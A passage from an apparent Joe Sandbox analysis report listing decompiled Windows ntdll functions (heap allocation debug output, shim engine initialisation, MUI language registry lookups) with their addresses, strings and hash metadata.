							 *(_t191 - 0x34) = _t183;
						}
						E34D30835(_t188, 0);
						_t184 = E34C95D90(_t188, _t188, _t183,  *(_t191 + 8));
						 *(_t191 - 0x24) = _t184;
						_t176 = 1;
						E34D30D24(_t188);
						__eflags = _t184;
						if(_t184 == 0) {
							goto L47;
						} else {
							_t185 = _t184 + 0xfffffff8;
							__eflags =  *((char*)(_t185 + 7)) - 5;
							if( *((char*)(_t185 + 7)) == 5) {
								_t185 = _t185 - (( *(_t185 + 6) & 0x000000ff) << 3);
								__eflags = _t185;
							}
							_t158 = _t185;
							 *(_t191 - 0x38) = _t185;
							__eflags =  *(_t188 + 0x4c);
							if( *(_t188 + 0x4c) != 0) {
								 *_t185 =  *_t185 ^  *(_t188 + 0x50);
								__eflags =  *(_t185 + 3) - (_t158[0] ^ _t158[0] ^  *_t158);
								if(__eflags != 0) {
									_push(_t158);
									_t176 = _t185;
									E34D3D646(0, _t188, _t185, _t185, _t188, __eflags);
								}
							}
							__eflags =  *(_t185 + 2) & 0x00000002;
							if(( *(_t185 + 2) & 0x00000002) == 0) {
								_t105 =  *(_t185 + 3);
								 *(_t191 - 0x1a) = _t105;
								_t106 = _t105 & 0x000000ff;
							} else {
								_t134 = E34CB3AE9(_t185);
								 *((intOrPtr*)(_t191 - 0x28)) = _t134;
								__eflags =  *(_t188 + 0x40) & 0x08000000;
								if(( *(_t188 + 0x40) & 0x08000000) == 0) {
									 *_t134 = 0;
								} else {
									_t135 = E34CAFDB9(1, _t176);
									_t169 =  *((intOrPtr*)(_t191 - 0x28));
									 *_t169 = _t135;
									_t134 = _t169;
								}
								_t45 = _t134 + 2; // 0xffff
								_t106 =  *_t45 & 0x0000ffff;
							}
							 *(_t191 - 0x2c) = _t106;
							 *(_t191 - 0x20) = _t106;
							__eflags =  *(_t188 + 0x4c);
							if( *(_t188 + 0x4c) != 0) {
								 *(_t185 + 3) =  *(_t185 + 2) ^  *(_t185 + 1) ^  *_t185;
								 *_t185 =  *_t185 ^  *(_t188 + 0x50);
								__eflags =  *_t185;
							}
							__eflags =  *(_t188 + 0x40) & 0x20000000;
							if(( *(_t188 + 0x40) & 0x20000000) != 0) {
								__eflags = 0;
								E34D30835(_t188, 0);
							}
							__eflags =  *(_t191 - 0x24) -  *0x34d747c0; // 0x0
							_t108 =  *[fs:0x30];
							if(__eflags != 0) {
								_t109 =  *(_t108 + 0x68);
								 *(_t191 - 0x44) = _t109;
								__eflags = _t109 & 0x00000800;
								if((_t109 & 0x00000800) == 0) {
									goto L47;
								}
								_t110 =  *(_t191 - 0x2c);
								__eflags = _t110;
								if(_t110 == 0) {
									goto L47;
								}
								__eflags = _t110 -  *0x34d747c4; // 0x0
								if(__eflags != 0) {
									goto L47;
								}
								__eflags =  *((intOrPtr*)(_t188 + 0x7c)) -  *0x34d747c6; // 0x0
								if(__eflags != 0) {
									goto L47;
								}
								_t112 =  *[fs:0x30];
								__eflags =  *(_t112 + 0xc);
								if( *(_t112 + 0xc) == 0) {
									_push("HEAP: ");
									E34C7B910();
								} else {
									E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(E34D2823A(_t188,  *(_t191 - 0x20)));
								_push( *(_t191 + 8));
								E34C7B910("Just allocated block at %p for 0x%Ix bytes with tag %ws\n",  *(_t191 - 0x24));
								goto L32;
							} else {
								__eflags =  *(_t108 + 0xc);
								if( *(_t108 + 0xc) == 0) {
									_push("HEAP: ");
									E34C7B910();
								} else {
									E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push( *(_t191 + 8));
								E34C7B910("Just allocated block at %p for %Ix bytes\n",  *0x34d747c0);
								L32:
								_t116 =  *[fs:0x30];
								__eflags =  *((char*)(_t116 + 2));
								if( *((char*)(_t116 + 2)) != 0) {
									 *0x34d747a1 = 1;
									 *0x34d74100 = 0;
									asm("int3");
									 *0x34d747a1 = 0;
								}
								goto L47;
							}
						}
					}
				} else {
					_t190 =  *0x34d73748; // 0x0
					 *0x34d791e0(__ecx, __edx,  *(_t191 + 8));
					_t89 =  *_t190();
					L48:
					 *[fs:0x0] =  *((intOrPtr*)(_t191 - 0x10));
					return _t89;
				}
			}

0x34d2f0a5
0x34d2f0a7
0x34d2f0ac
0x34d2f0b3
0x34d2f0b5
0x34d2f0ba
0x34d2f0bd
0x34d2f0c7
0x34d2f0e3
0x34d2f0e6
0x34d2f0f4
0x34d2f0f9
0x34d2f0fb
0x34d2f3d2
0x34d2f3d2
0x34d2f3d5
0x34d2f3d5
0x34d2f3d8
0x34d2f3df
0x34d2f3e4
0x00000000
0x34d2f3e4
0x34d2f104
0x34d2f106
0x34d2f10b
0x34d2f111
0x34d2f114
0x34d2f117
0x34d2f119
0x34d2f11c
0x34d2f11e
0x34d2f11e
0x34d2f12e
0x34d2f134
0x34d2f137
0x34d2f139
0x34d2f13b
0x34d2f13b
0x34d2f13c
0x34d2f13f
0x34d2f142
0x34d2f144
0x34d2f350
0x34d2f350
0x34d2f356
0x34d2f359
0x34d2f378
0x34d2f37d
0x34d2f35b
0x34d2f370
0x34d2f375
0x34d2f383
0x34d2f38e
0x00000000
0x34d2f14a
0x34d2f14a
0x34d2f14d
0x00000000
0x00000000
0x34d2f153
0x34d2f156
0x34d2f15e
0x34d2f163
0x34d2f16a
0x34d2f16a
0x34d2f170
0x34d2f170
0x34d2f177
0x34d2f186
0x34d2f188
0x34d2f18b
0x34d2f18f
0x34d2f194
0x34d2f196
0x00000000
0x34d2f19c
0x34d2f19c
0x34d2f19f
0x34d2f1a3
0x34d2f1ac
0x34d2f1ac
0x34d2f1ac
0x34d2f1ae
0x34d2f1b0
0x34d2f1b3
0x34d2f1b6
0x34d2f1bb
0x34d2f1c5
0x34d2f1c8
0x34d2f1ca
0x34d2f1cb
0x34d2f1cf
0x34d2f1cf
0x34d2f1c8
0x34d2f1d4
0x34d2f1d8
0x34d2f208
0x34d2f20b
0x34d2f20e
0x34d2f1da
0x34d2f1dc
0x34d2f1e1
0x34d2f1e6
0x34d2f1ed
0x34d2f1ff
0x34d2f1ef
0x34d2f1f0
0x34d2f1f5
0x34d2f1f8
0x34d2f1fb
0x34d2f1fb
0x34d2f202
0x34d2f202
0x34d2f202
0x34d2f211
0x34d2f214
0x34d2f218
0x34d2f21b
0x34d2f227
0x34d2f22d
0x34d2f22d
0x34d2f22d
0x34d2f22f
0x34d2f236
0x34d2f238
0x34d2f23c
0x34d2f23c
0x34d2f244
0x34d2f24a
0x34d2f250
0x34d2f2be
0x34d2f2c1
0x34d2f2c4
0x34d2f2c9
0x00000000
0x00000000
0x34d2f2cf
0x34d2f2d2
0x34d2f2d5
0x00000000
0x00000000
0x34d2f2db
0x34d2f2e2
0x00000000
0x00000000
0x34d2f2ec
0x34d2f2f3
0x00000000
0x00000000
0x34d2f2f9
0x34d2f2ff
0x34d2f302
0x34d2f321
0x34d2f326
0x34d2f304
0x34d2f319
0x34d2f31e
0x34d2f337
0x34d2f338
0x34d2f343
0x00000000
0x34d2f252
0x34d2f252
0x34d2f255
0x34d2f274
0x34d2f279
0x34d2f257
0x34d2f26c
0x34d2f271
0x34d2f27f
0x34d2f28d
0x34d2f295
0x34d2f295
0x34d2f29b
0x34d2f29f
0x34d2f2a5
0x34d2f2ac
0x34d2f2b2
0x34d2f2b3
0x34d2f2b3
0x00000000
0x34d2f29f
0x34d2f250
0x34d2f196
0x34d2f0c9
0x34d2f0ce
0x34d2f0d6
0x34d2f0dc
0x34d2f3e7
0x34d2f3ea
0x34d2f3f6
0x34d2f3f6

APIs

RtlDebugPrintTimes.NTDLL ref: 34D2F0D6

Strings

Just allocated block at %p for 0x%Ix bytes with tag %ws, xrefs: 34D2F33E
RtlAllocateHeap, xrefs: 34D2F0ED
HEAP[%wZ]: , xrefs: 34D2F267, 34D2F314, 34D2F36B
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 34D2F389
HEAP: , xrefs: 34D2F274, 34D2F321, 34D2F378
Just allocated block at %p for %Ix bytes, xrefs: 34D2F288

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
API String ID: 3446177414-1745908468
Opcode ID: e5f27ebcefdfaccfe67b633ffcb3c343f784924a96b00e0af87a26f479da6233
Instruction ID: f51daa700829d7e325d4b170195f0a304ae92734681e179f74858e5038104f17
Opcode Fuzzy Hash: e5f27ebcefdfaccfe67b633ffcb3c343f784924a96b00e0af87a26f479da6233
Instruction Fuzzy Hash: 5091F335A00744DFEB02CFA8C440AAEBBF2FF49358F54889DE485AB252CB369941DF14

Uniqueness

Uniqueness Score: -1.00%

Function 34C7640D Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 150
timeCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E34C7640D(void* __ecx) {
				signed int _v8;
				void* _v12;
				void* _v536;
				void* _v548;
				char _v780;
				char* _v784;
				char _v788;
				char _v792;
				intOrPtr _v804;
				char _v868;
				char* _v872;
				short _v874;
				char _v876;
				void* _v880;
				char _v892;
				void* _v896;
				void* _v900;
				void* _v904;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t48;
				short _t49;
				void* _t52;
				signed char _t61;
				void* _t67;
				intOrPtr _t71;
				void* _t81;
				signed char _t85;
				void* _t99;
				void* _t100;
				void* _t102;
				void* _t103;
				signed int _t104;
				signed int _t106;
				signed int _t108;
				void* _t109;

				_t108 = (_t106 & 0xfffffff8) - 0x374;
				_v8 =  *0x34d7b370 ^ _t108;
				_t48 = 0x16;
				_v876 = _t48;
				_t96 =  &_v876;
				_push("true");
				_pop(_t49);
				_v874 = _t49;
				_t99 = __ecx;
				_v872 = L"apphelp.dll";
				_v784 =  &_v780;
				_v788 = 0x1000000;
				_v780 = 0;
				_t52 = E34C76C11( &_v788,  &_v876, _t109);
				if(_t52 < 0) {
					_t85 =  *0x34d737c0; // 0x0
					__eflags = _t85 & 0x00000003;
					if((_t85 & 0x00000003) == 0) {
						L12:
						__eflags = _t85 & 0x00000010;
						L15:
						if(__eflags != 0) {
							asm("int3");
						}
						L6:
						_t53 =  &_v780;
						if( &_v780 != _v784) {
							_t53 = E34C7BA80(_v784);
						}
						_pop(_t100);
						_pop(_t102);
						_pop(_t81);
						return L34CC4B50(_t53, _t81, _v8 ^ _t108, _t96, _t100, _t102);
					}
					_push(_t52);
					_push("Building shim engine DLL system32 filename failed with status 0x%08lx\n");
					_push(0);
					_push("LdrpInitShimEngine");
					_push(0xa35);
					L11:
					_push("minkernel\\ntdll\\ldrinit.c");
					E34CFE692();
					_t85 =  *0x34d737c0; // 0x0
					_t108 = _t108 + 0x18;
					goto L12;
				}
				E34C9E8A6(0, 0x4001,  &_v868);
				_t96 =  &_v872;
				_t103 = L34C76B45( &_v792,  &_v872, 0,  &_v892);
				if(_v804 != 0) {
					E34CAE7E0( &_v792, _v868);
				}
				_t112 = _t103;
				if(_t103 < 0) {
					_t61 =  *0x34d737c0; // 0x0
					__eflags = _t61 & 0x00000003;
					if((_t61 & 0x00000003) != 0) {
						E34CFE692("minkernel\\ntdll\\ldrinit.c", 0xa48, "LdrpInitShimEngine", 0, "Loading the shim engine DLL failed with status 0x%08lx\n", _t103);
						_t61 =  *0x34d737c0; // 0x0
						_t108 = _t108 + 0x18;
					}
					__eflags = _t61 & 0x00000010;
					goto L15;
				} else {
					 *( *((intOrPtr*)(_t108 + 0xc)) + 0x34) =  *( *((intOrPtr*)(_t108 + 0xc)) + 0x34) | 0x00000100;
					 *0x34d75d64 =  *((intOrPtr*)( *((intOrPtr*)(_t108 + 0xc)) + 0x18));
					E34CB7DF6( *((intOrPtr*)(_t108 + 0xc)));
					E34C9D3E1(0,  *((intOrPtr*)(_t108 + 0xc)), _t103);
					_t67 = E34C76868( *((intOrPtr*)(_t108 + 0xc)), _t96, _t112);
					if(_t67 < 0) {
						_t85 =  *0x34d737c0; // 0x0
						__eflags = _t85 & 0x00000003;
						if((_t85 & 0x00000003) == 0) {
							goto L12;
						}
						_push(_t67);
						_push("Getting the shim engine exports failed with status 0x%08lx\n");
						_push(0);
						_push("LdrpInitShimEngine");
						_push(0xa56);
						goto L11;
					}
					_t104 =  *0x34d79208; // 0x0
					_v872 = _t108 + 0x178;
					_v876 = 0x2000000;
					_t96 =  *0x7ffe0330;
					_t71 =  *0x34d75b24; // 0x4982ce0
					asm("ror esi, cl");
					 *0x34d791e0( &_v876, _t71 + 0x24, _t99, "true");
					if( *(_t104 ^  *0x7ffe0330)() >= 0) {
						E34C76565( *((intOrPtr*)(_t108 + 0x14)));
						if( *((intOrPtr*)(_t108 + 0x14)) != _t108 + 0x178) {
							L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t108 + 0x14)));
						}
					}
					goto L6;
				}
			}

0x34c76415
0x34c76422
0x34c7642e
0x34c7642f
0x34c76434
0x34c76438
0x34c7643a
0x34c7643b
0x34c76440
0x34c76446
0x34c7644e
0x34c76458
0x34c76460
0x34c76465
0x34c7646c
0x34cd9770
0x34cd9776
0x34cd9779
0x34cd97b3
0x34cd97b3
0x34cd97dd
0x34cd97dd
0x34cd97e3
0x34cd97e3
0x34c76542
0x34c76542
0x34c7654a
0x34cd982b
0x34cd982b
0x34c76557
0x34c76558
0x34c76559
0x34c76564
0x34c76564
0x34cd977b
0x34cd977c
0x34cd9781
0x34cd9783
0x34cd9788
0x34cd97a0
0x34cd97a0
0x34cd97a5
0x34cd97aa
0x34cd97b0
0x00000000
0x34cd97b0
0x34c7647e
0x34c7648b
0x34c76498
0x34c7649e
0x34cd97ed
0x34cd97ed
0x34c764a4
0x34c764a6
0x34cd97f7
0x34cd97fc
0x34cd97fe
0x34cd97ce
0x34cd97d3
0x34cd97d8
0x34cd97d8
0x34cd97db
0x00000000
0x34c764ac
0x34c764b0
0x34c764be
0x34c764c3
0x34c764cc
0x34c764d1
0x34c764d8
0x34cd9802
0x34cd9808
0x34cd980b
0x00000000
0x00000000
0x34cd978f
0x34cd9790
0x34cd9795
0x34cd9796
0x34cd979b
0x00000000
0x34cd979b
0x34c764de
0x34c764eb
0x34c764f1
0x34c764f9
0x34c76507
0x34c76510
0x34c7651c
0x34c76526
0x34c7652c
0x34c7653c
0x34cd981d
0x34cd981d
0x34c7653c
0x00000000
0x34c76526

APIs

RtlDebugPrintTimes.NTDLL ref: 34C7651C

Part of subcall function 34C76565: RtlDebugPrintTimes.NTDLL ref: 34C76614
Part of subcall function 34C76565: RtlDebugPrintTimes.NTDLL ref: 34C7665F

Strings

apphelp.dll, xrefs: 34C76446
Getting the shim engine exports failed with status 0x%08lx, xrefs: 34CD9790
Loading the shim engine DLL failed with status 0x%08lx, xrefs: 34CD97B9
minkernel\ntdll\ldrinit.c, xrefs: 34CD97A0, 34CD97C9
Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 34CD977C
LdrpInitShimEngine, xrefs: 34CD9783, 34CD9796, 34CD97BF

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-204845295
Opcode ID: 0334c11e1cc7b4afd8c7d6d183592d0bebc37e2f53170525a1f9b32d5ab36efa
Instruction ID: 24c95097d5a1e279ff222bdcd1d05ee3611ff2aeb543de1fae67b19848875000
Opcode Fuzzy Hash: 0334c11e1cc7b4afd8c7d6d183592d0bebc37e2f53170525a1f9b32d5ab36efa
Instruction Fuzzy Hash: 1B51C075608700EFE310DF24C890A9BBBEAEF84754F44492EF69597160DA34D904CF93

Uniqueness

Uniqueness Score: -1.00%

Function 34C7D2EC Relevance: 11.6, Strings: 9, Instructions: 312
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E34C7D2EC(unsigned int __ecx, signed int _a4, intOrPtr _a8, char* _a12, intOrPtr* _a16) {
				intOrPtr _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				char* _v76;
				intOrPtr _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				unsigned int _v100;
				signed int _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v117;
				char _v120;
				char _v124;
				intOrPtr _v128;
				void* _v132;
				void* _v136;
				void* _v140;
				void* _v144;
				void* _v148;
				void* _v164;
				void* _t116;
				void* _t124;
				char* _t134;
				void* _t155;
				char* _t170;
				char _t171;
				void* _t176;
				signed int _t181;
				void* _t184;
				void* _t190;
				signed int _t192;
				void* _t194;
				signed int _t196;
				signed int _t198;
				void* _t200;

				_t200 = (_t198 & 0xfffffff8) - 0x74;
				_t170 = _a12;
				_v100 = __ecx;
				_v108 = 0;
				_v112 = 0;
				_v104 = 0;
				_v96 = 7;
				_v92 = 0;
				_v88 = 0;
				_v117 = 0;
				_t190 = 0;
				_v116 = 0;
				if(__ecx == 0 || _t170 == 0 || _a16 == 0) {
					_t194 = 0xc000000d;
					goto L23;
				} else {
					_t196 = _a4;
					 *_t170 = 0;
					if(_t196 == 1 || _t196 == 0) {
						E34CC5050(0,  &_v84, L"\\Registry\\Machine\\Software\\Policies\\Microsoft\\MUI\\Settings");
						_v84 = 0x18;
						_v76 =  &_v92;
						_v80 = 0;
						_push( &_v84);
						_push(0x20019);
						_v72 = 0x40;
						_push( &_v112);
						_v68 = 0;
						_v64 = 0;
						if(E34CC2AB0() >= 0) {
							_t124 = E34C77220(_v104, _v100,  &_v116);
							_t190 = _v128;
							_t194 = _t124;
							if(_t194 != 0 || _t190 == 0) {
								_t181 = _v104;
								_t196 = _a4;
								goto L7;
							} else {
								goto L24;
							}
						} else {
							_t181 = 0;
							_v104 = 0;
							L7:
							if(_t196 == 1 && _t181 != 0) {
								_t187 =  &_v117;
								if(E34D3AD61(_t181,  &_v117) >= 0) {
									asm("sbb eax, eax");
									_a4 = _t196 &  ~(_v117 - 0x00000001 & 0x000000ff);
								}
							}
							_t194 = E34C7D736(0x2000000,  &_v108);
							if(_t194 < 0) {
								L51:
								 *_t170 = 1;
								goto L23;
							} else {
								if(_a4 != 1) {
									E34CC5050(0x2000000,  &_v84, L"Control Panel\\Desktop\\MuiCached");
									_t194 = 0;
									_v32 = _v116;
									_v28 =  &_v92;
									_push( &_v36);
									_push(0x20019);
									_v36 = 0x18;
									_push( &_v120);
									_v24 = 0x40;
									_v20 = 0;
									 *((intOrPtr*)(_t200 + 0x88)) = 0;
									if(E34CC2AB0() < 0) {
										 *_t170 = 1;
										L24:
										_t176 = 0;
										L25:
										_t112 = _a4;
										if(_a4 != 0 || _t190 != 0 &&  *((intOrPtr*)(_t190 + 4)) != _t176) {
											_t173 = _v100;
											L29:
											if(_t190 == 0) {
												_t190 = E34CA3262(1, _t187 & 0xffffff00 | _t112 != 0x00000001, _t173);
												if(_t190 == 0) {
													_t194 = 0xc0000017;
												}
											}
											goto L31;
										} else {
											_t173 = _v100;
											_t116 = E34D3BD08(_v100, _t187, _t170,  &_v116);
											_t190 = _v124;
											_t194 = _t116;
											if(_t194 != 0) {
												L31:
												 *_a16 = _t190;
												L32:
												_t105 = _v88;
												if(_v88 == 0) {
													L43:
													_t171 = 0;
													goto L34;
												} else {
													_t171 = 0;
													L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t105);
													L34:
													if(_v112 != 0) {
														_push(_v112);
														E34CC2A80();
														_v116 = _t171;
													}
													if(_v108 != 0) {
														_push(_v108);
														E34CC2A80();
														_v112 = _t171;
													}
													if(_v104 != 0) {
														_push(_v104);
														E34CC2A80();
													}
													goto L39;
												}
											}
											_t112 = _a4;
											goto L29;
										}
									}
									_t134 = L"MachinePreferredUILanguages";
									L15:
									E34CC5050(0x2000000,  &_v84, _t134);
									_push(0x2000000);
									_t187 =  &_v92;
									_t184 = E34C7D64A(_v120,  &_v92,  &_v104, _t194,  &_v100);
									_t194 = 0xc0000034;
									if(_t184 == 0xc0000034) {
										L42:
										_t176 = 0;
										 *_t170 = 1;
										_t194 = 0;
										goto L25;
									}
									_t140 = _v96;
									if(_v96 == 0) {
										goto L42;
									}
									if(_t184 != 0x80000005) {
										goto L43;
									}
									_t192 = E34C95D90(_t184,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t140 + 2);
									_v104 = _t192;
									if(_t192 == 0) {
										_t194 = 0xc0000017;
										goto L43;
									}
									_push(_t184);
									_t187 =  &_v88;
									_t194 = E34C7D64A(_v116,  &_v88,  &_v100, _t192,  &_v96);
									if(_t194 < 0) {
										L22:
										_t190 = _v124;
										L23:
										if(_t194 != 0) {
											goto L32;
										}
										goto L24;
									}
									if(_v104 != 7) {
										if(_v104 == 1) {
											goto L21;
										}
										_t190 = _v124;
										_t176 = 0;
										_t194 = 0;
										 *_t170 = 1;
										goto L25;
									}
									L21:
									_t187 = _t192;
									_t194 = L34CA4CA6(_v108, _t192, _v100 >> 1, "true", (0 | _a4 != 0x00000001) + 2, 1,  &_v124);
									goto L22;
								}
								_t155 = E34C7D8D0(0x2000000, _v108, _v100,  &_v116);
								_t190 = _v128;
								_t194 = _t155;
								if(_t194 == 0) {
									if(_t190 != 0) {
										goto L31;
									}
								}
								E34CC5050(0x2000000,  &_v84, L"Control Panel\\Desktop");
								_v56 = _v116;
								 *((intOrPtr*)(_t200 + 0x58)) =  &_v92;
								 *((intOrPtr*)(_t200 + 0x60)) = 0;
								_v40 = 0;
								_push( &_v60);
								_push(0x20019);
								_v60 = 0x18;
								_push( &_v120);
								 *((intOrPtr*)(_t200 + 0x68)) = 0x40;
								_t194 = E34CC2AB0();
								if(_t194 < 0) {
									goto L51;
								}
								_t134 = L"PreferredUILanguages";
								if(_a8 != 3) {
									_t134 = L"PreferredUILanguagesPending";
								}
								_t194 = 0;
								goto L15;
							}
						}
					} else {
						_t194 = 0xc000000d;
						L39:
						return _t194;
					}
				}
			}

0x34c7d2f4
0x34c7d2f8
0x34c7d2ff
0x34c7d303
0x34c7d307
0x34c7d30b
0x34c7d30f
0x34c7d317
0x34c7d31b
0x34c7d31f
0x34c7d325
0x34c7d327
0x34c7d32d
0x34cda69c
0x00000000
0x34c7d344
0x34c7d344
0x34c7d347
0x34c7d34c
0x34c7d360
0x34c7d369
0x34c7d371
0x34c7d37b
0x34c7d37f
0x34c7d380
0x34c7d389
0x34c7d391
0x34c7d392
0x34c7d396
0x34c7d3a1
0x34cda60d
0x34cda612
0x34cda616
0x34cda61a
0x34cda624
0x34cda628
0x00000000
0x00000000
0x00000000
0x00000000
0x34c7d3a7
0x34c7d3a7
0x34c7d3a9
0x34c7d3ad
0x34c7d3b0
0x34cda630
0x34cda63b
0x34cda64c
0x34cda650
0x34cda650
0x34cda63b
0x34c7d3c9
0x34c7d3cd
0x34cda658
0x34cda658
0x00000000
0x34c7d3d3
0x34c7d3d7
0x34c7d5d5
0x34c7d5de
0x34c7d5e0
0x34c7d5e8
0x34c7d5f0
0x34c7d5f1
0x34c7d5fa
0x34c7d602
0x34c7d603
0x34c7d60e
0x34c7d615
0x34c7d623
0x34c7d642
0x34c7d52e
0x34c7d52e
0x34c7d530
0x34c7d530
0x34c7d535
0x34c7d549
0x34c7d54d
0x34c7d54f
0x34c7d560
0x34c7d564
0x34cda6cd
0x34cda6cd
0x34c7d564
0x00000000
0x34cda6a6
0x34cda6ac
0x34cda6b2
0x34cda6b7
0x34cda6bb
0x34cda6bf
0x34c7d56a
0x34c7d56d
0x34c7d56f
0x34c7d56f
0x34c7d575
0x34c7d63b
0x34c7d63b
0x00000000
0x34c7d57b
0x34c7d582
0x34c7d588
0x34c7d58d
0x34c7d592
0x34c7d594
0x34c7d598
0x34c7d59d
0x34c7d59d
0x34c7d5a6
0x34c7d5a8
0x34c7d5ac
0x34c7d5b1
0x34c7d5b1
0x34c7d5ba
0x34cda6d7
0x34cda6db
0x34cda6db
0x00000000
0x34c7d5ba
0x34c7d575
0x34cda6c5
0x00000000
0x34cda6c5
0x34c7d535
0x34c7d625
0x34c7d465
0x34c7d46b
0x34c7d470
0x34c7d480
0x34c7d489
0x34c7d48b
0x34c7d492
0x34c7d62f
0x34c7d62f
0x34c7d631
0x34c7d634
0x00000000
0x34c7d634
0x34c7d498
0x34c7d49e
0x00000000
0x00000000
0x34c7d4aa
0x00000000
0x00000000
0x34c7d4c4
0x34c7d4c6
0x34c7d4cc
0x34cda677
0x00000000
0x34cda677
0x34c7d4d2
0x34c7d4e2
0x34c7d4eb
0x34c7d4ef
0x34c7d526
0x34c7d526
0x34c7d52a
0x34c7d52c
0x00000000
0x00000000
0x00000000
0x34c7d52c
0x34c7d4f6
0x34cda686
0x00000000
0x00000000
0x34cda68c
0x34cda690
0x34cda692
0x34cda694
0x00000000
0x34cda694
0x34c7d4fc
0x34c7d507
0x34c7d524
0x00000000
0x34c7d524
0x34c7d3ea
0x34c7d3ef
0x34c7d3f3
0x34c7d3f7
0x34cda662
0x00000000
0x00000000
0x34cda668
0x34c7d407
0x34c7d410
0x34c7d418
0x34c7d41e
0x34c7d422
0x34c7d42a
0x34c7d42b
0x34c7d434
0x34c7d43c
0x34c7d43d
0x34c7d44a
0x34c7d44e
0x00000000
0x00000000
0x34c7d458
0x34c7d45d
0x34cda66d
0x34cda66d
0x34c7d463
0x00000000
0x34c7d463
0x34c7d3cd
0x34cda5f6
0x34cda5f6
0x34c7d5c0
0x34c7d5c8
0x34c7d5c8
0x34c7d34c

Strings

MachinePreferredUILanguages, xrefs: 34C7D625
Control Panel\Desktop\MuiCached, xrefs: 34C7D5CB
Control Panel\Desktop, xrefs: 34C7D3FD
PreferredUILanguagesPending, xrefs: 34CDA66D
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 34C7D356
PreferredUILanguages, xrefs: 34C7D458, 34C7D465
@, xrefs: 34C7D603
@, xrefs: 34C7D43D
@, xrefs: 34C7D389

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 0-3532704233
Opcode ID: 4dd5f76f3d858dc537fe1450f35226251947f423cbb3c4c6cd12ff51a9cc81ae
Instruction ID: 86320a76df30f874455c299c7a3a444a2734cc62f172605de981bdc6223bd619
Opcode Fuzzy Hash: 4dd5f76f3d858dc537fe1450f35226251947f423cbb3c4c6cd12ff51a9cc81ae
Instruction Fuzzy Hash: E0B1BEB2908341DFD711CF29C890A5FBBEAAF84754F44492EF989D7210DB30D949CB92

Uniqueness

Uniqueness Score: -1.00%

Function 34CAD6D0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151
timeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E34CAD6D0(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t68;
				intOrPtr _t70;
				signed int _t78;
				signed char _t79;
				intOrPtr _t85;
				intOrPtr _t88;
				intOrPtr _t97;
				char _t99;
				signed int _t102;
				signed int _t103;
				signed char _t106;
				signed int _t108;
				signed int _t112;
				intOrPtr _t119;
				intOrPtr _t121;
				intOrPtr _t122;
				intOrPtr _t127;
				intOrPtr _t129;
				intOrPtr _t134;
				signed int _t137;
				signed int _t138;
				void* _t141;
				void* _t143;

				_push("true");
				_push(0x34d5c5e8);
				_t68 = L34CD7BE4(__ebx, __edi, __esi);
				_t127 =  *[fs:0x18];
				_t97 =  *((intOrPtr*)(_t127 + 0x30));
				if( *0x34d75da8 != 0) {
					L19:
					 *[fs:0x0] =  *((intOrPtr*)(_t141 - 0x10));
					return _t68;
				}
				_t102 =  *(_t97 + 0x10);
				 *((intOrPtr*)(_t141 - 0x30)) =  *((intOrPtr*)(_t102 + 0x40));
				_t70 =  *((intOrPtr*)(_t102 + 0x44));
				 *((intOrPtr*)(_t141 - 0x2c)) = _t70;
				_t103 =  *(_t97 + 0x10);
